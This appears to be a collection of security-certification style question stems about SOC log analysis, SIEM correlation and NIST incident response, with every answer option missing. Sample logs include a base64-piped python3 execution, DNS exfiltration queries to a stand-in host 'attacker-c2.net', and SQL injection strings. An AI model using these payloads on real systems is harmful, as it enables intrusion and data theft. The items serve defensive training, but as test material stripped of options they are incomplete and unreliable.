Security Operations

A Security Operations Center (SOC) analyst is investigating suspicious network and system activity. The analyst extracts the following aggregated log entries from a public-facing web server (web-srv-01) and an internal DNS resolver (dns-core-01):

Log Snippet 1 (Web Server Access & Audit Logs):
2026-07-27T14:22:05Z web-srv-01 nginx: 192.168.10.45 - - [27/Jul/2026:14:22:05 +0000] "POST /api/v1/upload HTTP/1.1" 200 4512 "-" "python-requests/2.31.0"
2026-07-27T14:22:12Z web-srv-01 auditd[1420]: type=EXECVE msg=audit(1785162132.102:402): argc=3 a0="/bin/sh" a1="-c" a2="base64 -d <<< 'aW1wb3J0IG9z...' | python3"

Log Snippet 2 (DNS Query Logs):
2026-07-27T14:22:15Z dns-core-01 named[882]: client 10.0.4.15#52104 (aW5mby5leGZpbHRyYXRpb24.attacker-c2.net): query: aW5mby5leGZpbHRyYXRpb24.attacker-c2.net IN TXT + (10.0.4.1)
2026-07-27T14:22:16Z dns-core-01 named[882]: client 10.0.4.15#52105 (c2VjcmV0ZGF0YS5leGZpbHRyYXRpb24.attacker-c2.net): query: c2VjcmV0ZGF0YS5leGZpbHRyYXRpb24.attacker-c2.net IN TXT + (10.0.4.1)

Based on the log analysis, which of the following conclusions and SIEM detection strategies are correct? (Select TWO.)

A security analyst is reviewing web server access logs collected by a Security Information and Event Management (SIEM) system. The log stream displays the following entry:

`192.168.1.45 - - [27/Jul/2026:14:22:10 +0000] "GET /products.php?id=1%20UNION%20SELECT%20username,password%20FROM%20users-- HTTP/1.1" 200 452`

Which of the following attack types is directly indicated by this log entry?

A security analyst confirms that an employee workstation has been infected with self-propagating malware that is actively scanning the local subnet for vulnerable hosts. According to standard incident response frameworks, which action should the analyst take FIRST?

A security operations team is configuring an enterprise Security Information and Event Management (SIEM) data pipeline to process heterogeneous log sources across cloud and on-premises environments. In what sequential order does the SIEM pipeline process incoming event data from initial receipt to alert generation?

During a late-night monitoring shift, a security analyst identifies an active outbound socket connection transferring encrypted data from a CI/CD build node to an unrecognized external IP address. Initial investigation confirms that an unauthorized process is exfiltrating proprietary code repositories. According to standard incident response lifecycle frameworks, which of the following actions should the analyst perform FIRST?

During a threat hunting exercise on an enterprise SCADA network, a SOC analyst identifies an unauthorized background service executing on a primary operational jump server. The rogue process is actively establishing covert encrypted DNS tunnels to external command-and-control (C2) servers to exfiltrate system telemetry. The incident response playbook mandates immediate threat containment while strictly maintaining volatile RAM evidence for subsequent forensics. Which of the following operational steps should the security team perform FIRST to adhere to the containment phase protocols?

A Security Operations Center (SOC) team is investigating a multi-stage enterprise breach. A SIEM correlation engine collected logs across web application firewalls, endpoint detection agents, and Windows Domain Controllers. Based on log signatures and attack techniques, arrange the following log events in the correct chronological order of the attacker's progression through the cyber kill chain (from initial access to persistence).

A security analyst is examining raw log snippets collected by a SIEM system from various network resources. Match each log entry pattern on the left to the corresponding security event or attack type on the right.

A security operations center (SOC) analyst confirms an active Golden Ticket attack originating from a compromised Active Directory Domain Controller within an enterprise network. Arrange the following incident response procedures in the correct chronological order according to standard NIST incident response lifecycle guidelines, starting with the earliest step.

A system administrator reviews the following web server access log entries associated with an internal audit endpoint:

192.168.1.45 - - [27/Jul/2026:14:22:01 +0000] "POST /api/v1/query HTTP/1.1" 200 4520 "id=101+UNION+SELECT+username,password_hash+FROM+users--" "Mozilla/5.0"
192.168.1.45 - - [27/Jul/2026:14:22:05 +0000] "POST /api/v1/query HTTP/1.1" 200 5120 "id=101' OR '1'='1" "Mozilla/5.0"

Which type of attack vector do these log entries demonstrate, and what is the most effective application-level mitigation?

An organization is updating its cybersecurity incident response plan according to the standard NIST SP 800-61 framework. In what sequential order should the core phases of the incident response lifecycle be performed from first to last?

A Security Operations Center (SOC) analyst is standardizing correlation rules in an enterprise Security Information and Event Management (SIEM) system. Match each log entry pattern on the left to its corresponding security event or attack vector on the right.

A security analyst receives a critical Endpoint Detection and Response (EDR) alert showing an unauthorized process attempting to dump LSASS memory on a key workstation in the finance department. The alert confirms that the malicious process is actively attempting to establish command-and-control (C2) communications. According to standard NIST SP 800-61 incident response guidelines, what is the immediate next action the analyst should take?

A security analyst identifies an active incident where a web server is communicating with an unauthorized external command-and-control (C2) server. According to standard incident response playbooks, which of the following initial actions should the incident response team perform during the containment phase? (Select TWO.)

During cloud infrastructure monitoring, a SOC analyst detects suspicious automated API calls using a developer service account key to copy sensitive object storage buckets to an unapproved external destination. The security team must immediately initiate containment procedures according to the incident response playbook. Which of the following containment actions should the incident response team execute immediately? (Select TWO.)

A Security Operations Center (SOC) analyst is reviewing SIEM log correlation logic designed to detect unauthorized administrative lateral movement. The SIEM rule requires three conditions to trigger a high-severity alert:
1. A Windows Event ID 4624 (Logon Type 3 - Network) for a service account.
2. A Windows Event ID 4672 (Special privileges assigned) for the same account occurring within $60\text{ seconds}$ of the logon event.
3. A Sysmon Event ID 1 (Process Creation) where `ParentImage` is `services.exe` occurring within $30\text{ seconds}$ of privilege assignment.

The analyst extracts the following log sequence from a compromised server:

text
[2026-07-27T14:10:02Z] Host=SRV-FIN01 EventID=4624 LogonType=3 TargetUserName=svc_backup WorkstationName=WKSTN-77
[2026-07-27T14:11:05Z] Host=SRV-FIN01 EventID=4672 TargetUserName=svc_backup PrivilegeList=SeDebugPrivilege
[2026-07-27T14:11:15Z] Host=SRV-FIN01 EventID=1 Image=C:\Windows\System32\cmd.exe ParentImage=C:\Windows\System32\services.exe

Despite malicious process execution occurring, no SIEM alert was generated. Which of the following best explains why the correlation rule failed to trigger?

A security analyst in a Security Operations Center (SOC) receives a high-confidence alert that a finance department workstation is infected with worm-like malware actively attempting to spread to adjacent hosts on the local subnet. According to standard incident response playbooks, which of the following actions should the analyst perform first?

A security analyst discovers that an operational AWS IAM access key belonging to a production microservice repository was inadvertently committed to a public version control repository. Following standard incident response playbook procedures for credential exposure, place the following response actions in the correct sequential order from first to last.

A security operations team is configuring a Security Information and Event Management (SIEM) data pipeline to handle heterogeneous syslog and event streams from enterprise endpoints, firewalls, and application servers. Place the following SIEM processing stages in the correct chronological order from initial data intake to analyst notification.

A Security Operations Center (SOC) team validates an active alert showing that a core database server hosting sensitive human resources data is performing covert DNS tunneling to transmit data to an external command-and-control (C2) IP address. The incident has been confirmed and analyzed. According to the NIST SP 800-61 incident response lifecycle, which of the following actions should the incident response team perform FIRST?